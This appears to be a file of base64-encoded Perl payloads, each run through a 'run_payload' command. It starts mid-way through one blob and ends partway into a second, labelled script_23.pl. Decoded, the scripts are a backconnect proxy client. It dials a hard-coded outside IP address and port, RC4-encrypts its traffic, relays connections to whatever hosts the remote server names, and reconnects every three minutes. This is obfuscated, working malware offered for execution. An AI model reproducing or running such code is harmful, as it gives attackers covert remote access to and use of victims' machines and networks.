ZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_23.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMS